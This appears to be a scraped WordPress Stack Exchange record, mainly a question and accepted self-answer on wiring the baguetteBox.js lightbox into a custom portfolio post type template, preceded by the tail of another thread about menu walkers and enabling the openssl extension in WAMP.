public function end_lvl( &$output, $depth = 0, $args = array() ) {
if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
$t = '';
$n = '';
} else {
$t = "\t";
$n = "\n";
}
$indent = str_repeat( $t, $depth );
$output .= "$indent".get_search_form(false)."</ul>{$n}";
}
```
But it appended the search box at the end of every sub menu(###NOT HERE ### section). How can I achieve the desired output. Any idea? | The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error **"Installation failed: Download failed. No working transports found".**
Fortunately, i fixed the problem with following **solution**.
It turns out, this error message occurs when there are **missing extensions** on a development server, so the WordPress is unable to make external HTTP requests.
The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to **edit the php.ini configuration file.**
**Editing php.ini file**
The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the ***openssl extension.***
***Here are the steps to enable that extension:***
1. Start Wamp Server.
2. click on Wamp Server Icon and move to PHP->php.ini option.
3. double click on php.ini. so, it will open php.ini file in your default Text Editor.
4. search for **php\_openssl.dll** in php.ini file.
->You Will see that the extension is commented out:
;extension=php\_openssl.dll
5. Uncomment that line by removing semi colon(;)
6. save the changes.
7. Restart Wamp Server.
That's it We Are Done!!! |
292,235 | <p>I'm new to WP templating and I'm trying to create my own custom WP theme from a single page bootstrap theme. To
My problem is so particular, per say (hoping I don't get yelled at for this), I'm having a hard time finding solutions for my problem. </p>
<p>I am just making a simple theme with a portfolio page. All my files are local as of now. I downloaded a bootstrap theme from <a href="https://demo.tutorialzine.com/2017/02/freebie-4-bootstrap-gallery-templates/#clean" rel="nofollow noreferrer">here</a>.</p>
<p>The problem I am having is on my portfolio page. I have a custom post type and (I guess) a custom page template loading for this page (not sure if you need to know that, just wanted to ensure you know). All I want to do is click on one of my thumbnails and have blow up and show on the page while making the background dim (like in the original), see the example from the link above.</p>
<p>The css/js lightbox gallery plugin for this is called baguetteBox.js. There doesn't appear to be anything on the internet showing how to WP template this js photo gallery correctly into a custom post way on WP.
Below is an example of the two attributes and class that get dynamically added to the bottom div when someone clicks on any of the thumbnail images. What I want to know is how can I implement this functionality from the BS template into my WP template?</p>
<p><a href="https://i.stack.imgur.com/8vPnm.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8vPnm.jpg" alt="enter image description here"></a></p>
<p>But I am not sure if there is a function or functions that helps me implement that so it does the same thing in WP? What's the procedure for implementing that? My respective template files are as follows:</p>
<p>my page-portfolio template</p>
<pre><code><?php
/*
Template Name: Portfolio layout
*/
?>
<?php get_header(); ?>
<div class="container gallery-container">
<h1 class="headerTitle" > <?php wp_title(); ?> </h1>
<p class="page-description text-center"><?php bloginfo('description'); ?></p>
<div class="tz-gallery">
<div class="row">
<?php
$args = array(
'post_type' => 'portfolio'
);
$query = new WP_Query( $args );
?>
<?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="col-sm-6 col-md-4">
<div class="thumbnail">
<a class="lightbox" href="http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg">
<?php the_post_thumbnail( 333, 249 ); ?>
</a>
<div class="caption">
<h3><?php the_title(); ?></h3>
<p><?php the_field('editor'); ?></p>
</div>
</div>
</div>
<?php endwhile; endif; wp_reset_postdata(); ?>
</div>
</div>
</div>
<?php get_footer(); ?>
</code></pre>
<p>my header.php</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php wp_title(); ?></title>
<?php wp_head(); ?>
</head>
<body <?php body_class(); ?> >
<!-- Conditional For Edit Menu to Adjust with Logged in Users -->
<?php
if ( is_admin_bar_showing() ) {
echo '<style type="text/css"> .navbar.navbar-inverse.navbar-fixed-top {margin-top: 32px;} </style>';
}
?>
<!-- END Conditional Edit for Logged in Users -->
<div class="navbar navbar-inverse navbar-fixed-top" >
<div class="container">
<div class="navbar-header"> <!-- contains toggle and brand -->
<button class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse" type="button">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="<?php bloginfo('url'); ?>" class="navbar-brand"><?php bloginfo('name'); ?></a>
</div>
<div class="navbar-collapse collapse">
<?php
wp_nav_menu( array(
'theme_location' => 'primary-menu',
'depth' => 2,
'container' => 'div',
'container_class' => 'collapse navbar-collapse',
'container_id' => 'bs-example-navbar-collapse-1',
'menu_class' => 'nav navbar-nav',
'fallback_cb' => 'WP_Bootstrap_Navwalker::fallback',
'walker' => new WP_Bootstrap_Navwalker(),
) );
?>
</div><!--/.nav-collapse -->
</div>
</div>
</code></pre>
<p>my footer.php</p>
<pre><code><?php wp_footer(); ?>
</body>
<!-- script for intiating tz-gallery -->
<script type="text/javascript">
baguetteBox.run('.tz-gallery');
</script>
</html>
</code></pre>
| [
{
"answer_id": 292697,
"author": "D. Dan",
"author_id": 133528,
"author_profile": "https://wordpress.stackexchange.com/users/133528",
"pm_score": 0,
"selected": false,
"text": "<p>To implement a Custom Lightbox solution yourself you need:</p>\n\n<ul>\n<li>A thumbnail image</li>\n<li>An a... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292235",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113393/"
] | I'm new to WP templating and I'm trying to create my own custom WP theme from a single page bootstrap theme. To
My problem is so particular, per say (hoping I don't get yelled at for this), I'm having a hard time finding solutions for my problem.
I am just making a simple theme with a portfolio page. All my files are local as of now. I downloaded a bootstrap theme from [here](https://demo.tutorialzine.com/2017/02/freebie-4-bootstrap-gallery-templates/#clean).
The problem I am having is on my portfolio page. I have a custom post type and (I guess) a custom page template loading for this page (not sure if you need to know that, just wanted to ensure you know). All I want to do is click on one of my thumbnails and have blow up and show on the page while making the background dim (like in the original), see the example from the link above.
The css/js lightbox gallery plugin for this is called baguetteBox.js. There doesn't appear to be anything on the internet showing how to WP template this js photo gallery correctly into a custom post way on WP.
Below is an example of the two attributes and class that get dynamically added to the bottom div when someone clicks on any of the thumbnail images. What I want to know is how can I implement this functionality from the BS template into my WP template?
[](https://i.stack.imgur.com/8vPnm.jpg)
But I am not sure if there is a function or functions that helps me implement that so it does the same thing in WP? What's the procedure for implementing that? My respective template files are as follows:
my page-portfolio template
```
<?php
/*
Template Name: Portfolio layout
*/
?>
<?php get_header(); ?>
<div class="container gallery-container">
<h1 class="headerTitle" > <?php wp_title(); ?> </h1>
<p class="page-description text-center"><?php bloginfo('description'); ?></p>
<div class="tz-gallery">
<div class="row">
<?php
$args = array(
'post_type' => 'portfolio'
);
$query = new WP_Query( $args );
?>
<?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="col-sm-6 col-md-4">
<div class="thumbnail">
<a class="lightbox" href="http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg">
<?php the_post_thumbnail( 333, 249 ); ?>
</a>
<div class="caption">
<h3><?php the_title(); ?></h3>
<p><?php the_field('editor'); ?></p>
</div>
</div>
</div>
<?php endwhile; endif; wp_reset_postdata(); ?>
</div>
</div>
</div>
<?php get_footer(); ?>
```
my header.php
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php wp_title(); ?></title>
<?php wp_head(); ?>
</head>
<body <?php body_class(); ?> >
<!-- Conditional For Edit Menu to Adjust with Logged in Users -->
<?php
if ( is_admin_bar_showing() ) {
echo '<style type="text/css"> .navbar.navbar-inverse.navbar-fixed-top {margin-top: 32px;} </style>';
}
?>
<!-- END Conditional Edit for Logged in Users -->
<div class="navbar navbar-inverse navbar-fixed-top" >
<div class="container">
<div class="navbar-header"> <!-- contains toggle and brand -->
<button class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse" type="button">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="<?php bloginfo('url'); ?>" class="navbar-brand"><?php bloginfo('name'); ?></a>
</div>
<div class="navbar-collapse collapse">
<?php
wp_nav_menu( array(
'theme_location' => 'primary-menu',
'depth' => 2,
'container' => 'div',
'container_class' => 'collapse navbar-collapse',
'container_id' => 'bs-example-navbar-collapse-1',
'menu_class' => 'nav navbar-nav',
'fallback_cb' => 'WP_Bootstrap_Navwalker::fallback',
'walker' => new WP_Bootstrap_Navwalker(),
) );
?>
</div><!--/.nav-collapse -->
</div>
</div>
```
my footer.php
```
<?php wp_footer(); ?>
</body>
<!-- script for intiating tz-gallery -->
<script type="text/javascript">
baguetteBox.run('.tz-gallery');
</script>
</html>
``` | I got the answer from someone else and got it working. To summarize, the problem was not having the right use of WP functions to call the custom post thumbnail image dynamically. Hence the BueggetteBox.js plugin (a lightbox plugin) functionality would work properly when you clicked on a custom post thumbnail from the gallery within my freshly made custom WP theme.
This is what I had originally in my custom template file (page-portfolio.php)
```
<?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="col-sm-6 col-md-4">
<div class="thumbnail">
<a class="lightbox" href="http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg">
<?php the_post_thumbnail( 333, 249 ); ?>
</a>
<div class="caption">
<h3><?php the_title(); ?></h3>
<p><?php the_field('editor'); ?></p>
</div>
</div>
</div>
<?php endwhile; endif; wp_reset_postdata(); ?>
```
Here is the solution that worked. I replaced the above with the below code using the `get_post_thumbnail_id()` , `wp_get_attachment_image_src($thumb_id,'full', true);` and then applied the `$thumbn_nail` property to the hyperlink. See below for implementation:
```
<?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>
<?php
$thumb_id = get_post_thumbnail_id();
$thumb_url = wp_get_attachment_image_src($thumb_id,'full', true);
?>
<div class="col-sm-6 col-md-4"><!-- get_post_field -->
<div class="thumbnail">
<a class="lightbox" href="<?php echo $thumb_url[0]; ?>">
<?php the_post_thumbnail( 333, 249 ); ?>
</a>
<div class="caption">
<h3><?php the_title(); ?></h3>
<p><?php the_field('editor'); ?></p>
</div>
</div>
</div>
<?php endwhile; endif; wp_reset_postdata(); ?>
```
annnnnnnnnd presto! Now it works fine! |